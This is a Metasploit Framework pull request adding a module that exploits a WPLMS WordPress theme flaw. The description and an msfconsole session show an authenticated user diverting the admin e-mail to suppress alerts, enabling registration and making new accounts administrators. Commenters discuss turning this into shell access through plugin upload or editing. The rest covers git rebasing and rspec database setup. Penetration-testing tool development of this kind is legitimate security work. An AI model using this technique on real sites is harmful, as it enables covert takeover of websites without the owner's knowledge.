search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.03k stars 13.74k forks source link

Add WordPress WPLMS theme privilege escalation module #4789

Closed rastating closed 9 years ago

rastating commented 9 years ago

The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of any user level to set any system option via a lack of validation in the import_data function of /includes/func.php. The module first changes the admin e-mail address to prevent any notifications being sent to the actual administrator during the attack, re-enables user registration in case it has been disabled and sets the default role to be administrator. This will allow for the user to create a new account with admin privileges via the default registration page found at /wp-login.php?action=register.

References

msf > use auxiliary/admin/http/wp_wplms_privilege_escalation
msf auxiliary(wp_wplms_privilege_escalation) > set RHOST 192.168.1.15
RHOST => 192.168.1.15
msf auxiliary(wp_wplms_privilege_escalation) > set TARGETURI /wordpress/
TARGETURI => /wordpress/
msf auxiliary(wp_wplms_privilege_escalation) > set USERNAME root
USERNAME => root
msf auxiliary(wp_wplms_privilege_escalation) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(wp_wplms_privilege_escalation) > check

[*] 192.168.1.15:80 - Found version 1.5.2 of the theme
[*] 192.168.1.15:80 - The target appears to be vulnerable.
msf auxiliary(wp_wplms_privilege_escalation) > run

[*] 192.168.1.15:80 - Authenticating with WordPress using root:toor...
[+] 192.168.1.15:80 - Authenticated with WordPress
[*] 192.168.1.15:80 - Changing admin e-mail address to fOiqY@vaLvi.com...
[*] 192.168.1.15:80 - Enabling user registrations...
[*] 192.168.1.15:80 - Setting the default user role...
[+] 192.168.1.15:80 - Privilege escalation complete
[+] 192.168.1.15:80 - Create a new account at /wordpress/wp-login.php?action=register to gain admin access.
[*] Auxiliary module execution completed

Walkthrough

PCAP download: https://mega.co.nz/#!XI0BRKxD!7SfHhXCYkRvImX-0U3a-XQmaiUDnD_SwigWEttZQo84

Pre-exploitation settings pre_exploit_settings_screen

Pre-exploit registration screen pre_exploit_registration_screen

Post-exploit settings post_exploit_settings_screen

Post-exploit registration screen post_exploit_registration_screen

Registration notification e-mail to admin address upon new user registration Note: this admin e-mail is different to the one seen in the PCAP and example output as I took the registration screenshots after having re-executed the module which generated a new random admin e-mail, but this was the correct e-mail for that test admin_notification

Registration notification to user user_notification

Compromised admin panel compromised_admin_page

wchen-r7 commented 9 years ago

That's one of the most well written PR descriptions I have ever seen at Metasploit.

rastating commented 9 years ago

@wchen-r7 - thank you, at least if my code isn't the best my description writing abilities are of use :D haha

0x27 commented 9 years ago

You could probably use the standard method of uploading a theme/plugin to get a shell from there to turn this into a exploit module, surely? Or, perhaps, a generic exploits/multi/http/wp_admin_shell_upload exploit could be written for that purpose as the email validation thing would muck up automation...

rastating commented 9 years ago

@0x27 - plugin and theme uploading via the admin panel require FTP credentials (I'm guessing WP considered it some kind of extra precaution in case of privilege escalation). There is a work around you can use in that you can install one from the built in repository explorer and use the built in editor to then edit one of the files and run your own arbitrary code (providing they haven't altered the permissions of wp-content).

I think this would be best left as an auxiliary module for just privilege escalation though, as you say the e-mail validation would make any automation very difficult along with the FTP credential mitigation thing.

rastating commented 9 years ago

@0x27 - sorry, I seem to be mistaken, looks like the FTP restriction is no longer in place. I'll have a look into writing a separate generic upload module :)

firefart commented 9 years ago

@rastating would be awesome if we have a "upload_plugin" and "delete_plugin" method in the Wordpress mixin :)

rastating commented 9 years ago

@FireFart - I'll make sure to abstract the functionality to upload and delete into their own functions in helpers.rb for re-use in any other variations people may want to cook up. Hopefully will have another pull request on its way in the next day or two!

rastating commented 9 years ago

@FireFart @0x27 - the generic shell upload via the plugin system is finished :) just got some things I want to tidy up with it first though. Expect a pull request tomorrow!

firefart commented 9 years ago

@rastating is there also a way to get the current option values? So we could reset back the installation to it's initial state? If so we could register a new user and reset all values

rastating commented 9 years ago

@FireFart - unfortunately not, there are functions in the WordPress API to check them, but there's nothing in the WPLMS code that will expose it for us to use :(

rastating commented 9 years ago

@FireFart - I have resolved the conflicts to version.rb that were generated between this PR and the one that added the extra Readme.txt check. I'm not sure if I did it the best way - I pulled the latest changes from master by rebasing, fixed the conflicts and then committed the fix.

firefart commented 9 years ago

@rastating wow it looks the PR is now fucked up :( one thing i hate git for

rastating commented 9 years ago

@FireFart - yeah, my bad :( will it be easier if I abandon this PR, create a new branch with my changes added from scratch and then create a new PR to merge that branch?

bcook-r7 commented 9 years ago

I could be wrong, bit it looks like you may have merged master, rather than rebased. To rebase and cleanup the PR:

git checkout thisbranch git rebase master git push -f

rastating commented 9 years ago

@bcook-r7 - I'll give that a try now

rastating commented 9 years ago

@FireFart @bcook-r7 - seems to have got rid of a ton of the commits that got brought into this one, but there's still some outstanding and still got conflicts :(

I can just create a new branch and PR and reference this PR from it, if it will make it easier?

firefart commented 9 years ago

@rastating i think this will be easier

rastating commented 9 years ago

@FireFart - easier to go with the new branch?

firefart commented 9 years ago

@rastating jeah that's how i do it every time this happens to me. Copy the two files to another location, create a new clean branch, copy the 2 files in it and re-create a new PR

rastating commented 9 years ago

@FireFart - I think I just fixed it, I'll make the new branch anyway though just to be 100% safe!

rastating commented 9 years ago

@FireFart - oh wait, it is actually fixed now! @bcook-r7 was right. It looks like GitHub just took 5-10 minutes to update the commit list

firefart commented 9 years ago

great stuff! Will note it for future PRs :)

rastating commented 9 years ago

This has been the most confusing PR I think I have ever experienced! At least I know where I went wrong with the rebase now for future reference though.

firefart commented 9 years ago

@rastating extract_and_check_version is now defined twice in version.rb

firefart commented 9 years ago

@rastating PS: there are also rspecs for the version detection here: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/http/wordpress/version_spec.rb feel free to add new ones and run it once the code is completed to ensure it works as before (you currently need a DB connected to run rspec)

rastating commented 9 years ago

@FireFart - sorry didn't realise you'd commented on the PR again, I've not used rspec before so give me a day or two to get some reading done up on it and I'll push the commits with the fixed version.rb and rspec tests :)

rastating commented 9 years ago

@FireFart - I've fixed version.rb (not committed yet though), but I am having a bit of trouble running the rspec tests; I'm not sure if it's just me being silly or not though! Below is the result of me running the rake spec command in the root directory:

root@kali:/usr/share/metasploit-framework# rake spec
rake aborted!
TypeError: can't convert nil into String
/var/lib/gems/1.9.1/gems/railties-3.2.21/lib/rails/paths.rb:157:in `expand_path'
/var/lib/gems/1.9.1/gems/railties-3.2.21/lib/rails/paths.rb:157:in `block in expanded'
/var/lib/gems/1.9.1/gems/railties-3.2.21/lib/rails/paths.rb:156:in `each'
/var/lib/gems/1.9.1/gems/railties-3.2.21/lib/rails/paths.rb:156:in `expanded'
/var/lib/gems/1.9.1/gems/railties-3.2.21/lib/rails/paths.rb:128:in `first'
/usr/share/metasploit-framework/lib/metasploit/framework/require.rb:52:in `optionally_active_record_railtie'
/usr/share/metasploit-framework/Rakefile:10:in `<top (required)>'
(See full trace by running task with --trace)

Got any ideas? I've had a look around and seen a few similar people posting errors but this seems to be in relation to metasploit not using a database, but I have metasploit setup to use a postgresql database, so I think it should be OK?

firefart commented 9 years ago

@rastating : https://github.com/rapid7/metasploit-framework/issues/4505 you need to have a database connected to run rspecs until the referenced issue is fixed

firefart commented 9 years ago

@rastating BTW: You can specify a file to the RSPEC command to only run the version rspecs

rastating commented 9 years ago

@FireFart - I've double checked using msfconsole that a database connection is establishing but still no luck :(

msf > db_status
[*] postgresql connected to msf3

Is there an extra config file I need to setup somewhere? Sorry if I am missing something really obvious, it's my first time using the rspec tests. Just tried setting up a new dev environment in OS X as opposed to using Kali but running into similar issues there too, so I think it must be something I'm doing wrong.

firefart commented 9 years ago

@rastating have you tried this? https://github.com/rapid7/metasploit-framework/issues/4505#issuecomment-74281741 you need the createdb right assigned

rastating commented 9 years ago

@FireFart - I tried running the script [this one] but no joy. Do the rspec tests use the same configuration that msfconsole itself uses? Or should I have another file setup somewhere which tells it the database information to use?

bcook-r7 commented 9 years ago

I wasn't thorough - you also need to have a database config file - copy config/database.yml.example to config/database.yml. Then update that file to use the right user/database/passwords you just created. for the 'development' database, I use 'msf' for everything, for the 'test' database, I use 'msftest'

kernelsmith commented 9 years ago

Yeah, @mubix, you usually have a different db (and a corresponding additional entry in your database.yml) for tests so they don't trash your more valuable db data. If you didn't edit the database.yml for the test section it's probably the default values which likely don't match your regular db settings. You essentially end up setting up 2 (or 3) dbs and the yml has a corresponding section for each. In "regular" ruby projects it would be something like production, development, and testing. For us, I guess production would be like actual pentest data, tho I don't know if I would do that from my bleeding edge git checkout, dev would be well you know, dev, and testing is the one you're after right now I think.

On Feb 24, 2015, at 5:59 PM, Brent Cook notifications@github.com wrote:

I wasn't thorough - you also need to have a database config file - copy config/database.yml.example to config/database.yml. Then update that file to use the right user/database/passwords you just created. for the 'development' database, I use 'msf' for everything, for the 'test' database, I use 'msftest'

— Reply to this email directly or view it on GitHub https://github.com/rapid7/metasploit-framework/pull/4789#issuecomment-75877932.

rastating commented 9 years ago

Thanks @bcook-r7, I had to drop into psql directly to do it in the end (problem with my env I think). I'm currently battling with password authentication seeming to not work (PG::ConnectionBad: FATAL: password authentication failed for user "msftest") but I think this is a more generic issue with my dev environment rather than Metasploit specific. Will give you an update once I've got a bit further with it.

rastating commented 9 years ago

@bcook-r7 @FireFart - there is something very strange happening, I keep creating an msftest database owned by msftest, as per the below output:

root@kali:~/msfgit/metasploit-framework/config# sudo -u postgres psql -l
                             List of databases
   Name    |  Owner   | Encoding  | Collate | Ctype |   Access privileges
-----------+----------+-----------+---------+-------+-----------------------
 msf       | msf      | SQL_ASCII | C       | C     |
 msf3      | msf3     | SQL_ASCII | C       | C     |
 msftest   | msftest  | SQL_ASCII | C       | C     |
 postgres  | postgres | SQL_ASCII | C       | C     |
 template0 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
 template1 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
(6 rows)

However... after I run rake spec I get the following output:

root@kali:~/msfgit/metasploit-framework# rake spec
PG::InvalidParameterValue: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.
: CREATE DATABASE "msftest" ENCODING = 'utf8'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:650:in `async_exec'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:650:in `block in execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract_adapter.rb:280:in `block in log'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activesupport-3.2.21/lib/active_support/notifications/instrumenter.rb:20:in `instrument'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract_adapter.rb:275:in `log'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:649:in `execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:764:in `create_database'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:144:in `rescue in create_database'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:85:in `create_database'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:533:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `call'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `block in execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:179:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:201:in `block in invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:178:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:165:in `invoke'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:559:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `call'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `block in execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:179:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:201:in `block in invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:178:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:165:in `invoke'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rspec-rails-2.99.0/lib/rspec/rails/tasks/rspec.rake:26:in `block (2 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `call'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:240:in `block in execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:235:in `execute'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:179:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:201:in `block in invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:199:in `invoke_prerequisites'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:178:in `block in invoke_with_call_chain'
/usr/local/rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/monitor.rb:211:in `mon_synchronize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:172:in `invoke_with_call_chain'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/task.rb:165:in `invoke'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:150:in `invoke_task'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:106:in `block (2 levels) in top_level'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:106:in `each'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:106:in `block in top_level'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:115:in `run_with_threads'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:100:in `top_level'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:78:in `block in run'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:176:in `standard_exception_handling'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/lib/rake/application.rb:75:in `run'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rake-10.4.2/bin/rake:33:in `<top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/rake:23:in `load'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/rake:23:in `<main>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/ruby_executable_hooks:15:in `eval'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/ruby_executable_hooks:15:in `<main>'
Couldn't create database for {"adapter"=>"postgresql", "database"=>"msftest", "username"=>"msftest", "password"=>"msftest", "host"=>"localhost", "port"=>5432, "pool"=>5, "timeout"=>5}
rake aborted!
PG::ConnectionBad: FATAL:  database "msftest" does not exist
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:1222:in `initialize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:1222:in `new'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:1222:in `connect'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:324:in `initialize'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:28:in `new'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/postgresql_adapter.rb:28:in `postgresql_connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:315:in `new_connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:325:in `checkout_new_connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:247:in `block (2 levels) in checkout'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:242:in `loop'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:242:in `block in checkout'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:239:in `checkout'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:102:in `block in connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:101:in `connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_pool.rb:410:in `retrieve_connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_specification.rb:171:in `retrieve_connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/connection_adapters/abstract/connection_specification.rb:145:in `connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/migration.rb:452:in `connection'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/migration.rb:465:in `block in method_missing'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/migration.rb:438:in `block in say_with_time'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/migration.rb:438:in `say_with_time'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/migration.rb:458:in `method_missing'
/root/msfgit/metasploit-framework/db/schema.rb:16:in `block in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/schema.rb:50:in `instance_eval'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/schema.rb:50:in `define'
/root/msfgit/metasploit-framework/db/schema.rb:14:in `<top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activesupport-3.2.21/lib/active_support/dependencies.rb:245:in `load'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activesupport-3.2.21/lib/active_support/dependencies.rb:245:in `block in load'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activesupport-3.2.21/lib/active_support/dependencies.rb:236:in `load_dependency'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activesupport-3.2.21/lib/active_support/dependencies.rb:245:in `load'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:402:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:514:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:494:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/activerecord-3.2.21/lib/active_record/railties/databases.rake:559:in `block (3 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/gems/rspec-rails-2.99.0/lib/rspec/rails/tasks/rspec.rake:26:in `block (2 levels) in <top (required)>'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/ruby_executable_hooks:15:in `eval'
/usr/local/rvm/gems/ruby-2.1.5@metasploit-framework/bin/ruby_executable_hooks:15:in `<main>'
Tasks: TOP => db:schema:load
(See full trace by running task with --trace)

If I then check the postgresql database list again, msftest has been deleted:

root@kali:~/msfgit/metasploit-framework# psql -U msftest -W
Password for user msftest:
psql: FATAL:  database "msftest" does not exist
root@kali:~/msfgit/metasploit-framework# sudo -u postgres psql -l
                             List of databases
   Name    |  Owner   | Encoding  | Collate | Ctype |   Access privileges
-----------+----------+-----------+---------+-------+-----------------------
 msf       | msf      | SQL_ASCII | C       | C     |
 msf3      | msf3     | SQL_ASCII | C       | C     |
 postgres  | postgres | SQL_ASCII | C       | C     |
 template0 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
 template1 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
(5 rows)
bcook-r7 commented 9 years ago

This is because one of the first tests is it drops the database and recreates it! It seems that the encoding of your template databases is incorrect, so its failing on the 'recreate' step:

PG::InvalidParameterValue: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.

For some reason, the default encoding on your database is SQL_ASCII. Maybe that is the default on Kali's postgresql package? For it to work, the encoding has to be UTF8. When you run initdb, try adding '-E UTF8' so the encoding is correct. I tried running 'initdb -E UTF8 /usr/local/var/postgres/' on my system and it worked, 'initdb -E SQL_ASCII /usr/local/var/postgres/' reproduced the issue here.

rastating commented 9 years ago

@bcook-r7 - you hit the nail on the head, I couldn't use initdb to fix it (command not found), but I edited the appropriate template database in postgresql directly to fix it so that new databases use UTF8 and it is now running through the tests :)

@FireFart - I'll update the unit tests in the next day or two and get them pushed up once confirmed working.

Thanks again for the patience and assistance, I'm not usually this much of a pain, I promise ^_^

kernelsmith commented 9 years ago

This is interesting because I have a Kali box w/a dev env setup and I didn't run into this, tho I may not have ever actually run the specs on that particular box so it may just be waiting in the shadows.

On Feb 25, 2015, at 15:36, Rob notifications@github.com wrote:

@bcook-r7 - you hit the nail on the head, I couldn't use initdb to fix it (command not found), but I edited the appropriate template database in postgresql directly to fix it so that new databases use UTF8 and it is now running through the tests :)

@FireFart - I'll update the unit tests in the next day or two and get them pushed up once confirmed working.

Thanks again for the patience and assistance, I'm not usually this much of a pain, I promise ^_^

— Reply to this email directly or view it on GitHub.

kernelsmith commented 9 years ago

@mubix could you document what u did somewhere so we, or u, can stick it in the wiki?

On Feb 25, 2015, at 15:36, Rob notifications@github.com wrote:

@bcook-r7 - you hit the nail on the head, I couldn't use initdb to fix it (command not found), but I edited the appropriate template database in postgresql directly to fix it so that new databases use UTF8 and it is now running through the tests :)

@FireFart - I'll update the unit tests in the next day or two and get them pushed up once confirmed working.

Thanks again for the patience and assistance, I'm not usually this much of a pain, I promise ^_^

— Reply to this email directly or view it on GitHub.

firefart commented 9 years ago

@kernelsmith lol it's another rob, not @mubix :)

rastating commented 9 years ago

@kernelsmith - yeah, I was going to write a post on the problems I've run into and how I solved it, going to setup a new VM though so I can do it step by step again to make sure there's nothing I miss out, so it might be a few days until I've gotten it fully written up

rastating commented 9 years ago

@FireFart - I thought people were tagging mubix so he was being made aware of stuff he may want to comment on, this now makes much more sense that someone was getting me mixed up with him!

mubix commented 9 years ago

/me logs out and logs back in under his @rastating account

kernelsmith commented 9 years ago

My bad, that's what I get for only looking at the email version of the convo instead of on github. Plus, all you Rob's look alike ;P~

On Feb 25, 2015, at 4:02 PM, Christian Mehlmauer notifications@github.com wrote:

@kernelsmith https://github.com/kernelsmith lol it's another rob, not @mubix https://github.com/mubix :)

— Reply to this email directly or view it on GitHub https://github.com/rapid7/metasploit-framework/pull/4789#issuecomment-76070231.

rastating commented 9 years ago

@FireFart - sorry for the late response on this one! I've updated the rspec to include new tests for the style.css checking and added an extra test in the plugin readme testing for when testing a plugin that is vulnerable in all versions (e.g. something that has reached EOL and isn't being patched).

Also fixed an oversight in version.rb which the unit tests uncovered, see below the results of the test after fixes:

 rspec spec/lib/msf/http/wordpress/version_spec.rb
Msf::HTTP::Wordpress::Version .............................

Finished in 0.28901 seconds
29 examples, 0 failures

Randomized with seed 64858

On a side note - should we be writing rspec tests for new modules that are written or are they kept purely for library modules?

firefart commented 9 years ago

@rastating thanks for all the hard work! na we only try to write rspecs for the lib part to ensure everything is working as before when changing smth. in /lib/

rastating commented 9 years ago

@kernelsmith - as requested. I made a little write up about the steps that got it all working, it is for the most part just the same steps as if following the normal setup guide, however I had to drop into psql itself to create the users and databases (as opposed ot using createuser etc.) and had to fix the encoding issue that was pointed out further up the PR as it was defaulting to SQL_ASCII (also had to be done in psql itself rather than using initdb). Full write up is here: http://blog.rastating.com/setting-up-kali-for-metasploit-unit-testing/

firefart commented 9 years ago

@todb-r7 should we include @rastating 's blog post in the set up a dev enivronment wiki article?

todb-r7 commented 9 years ago

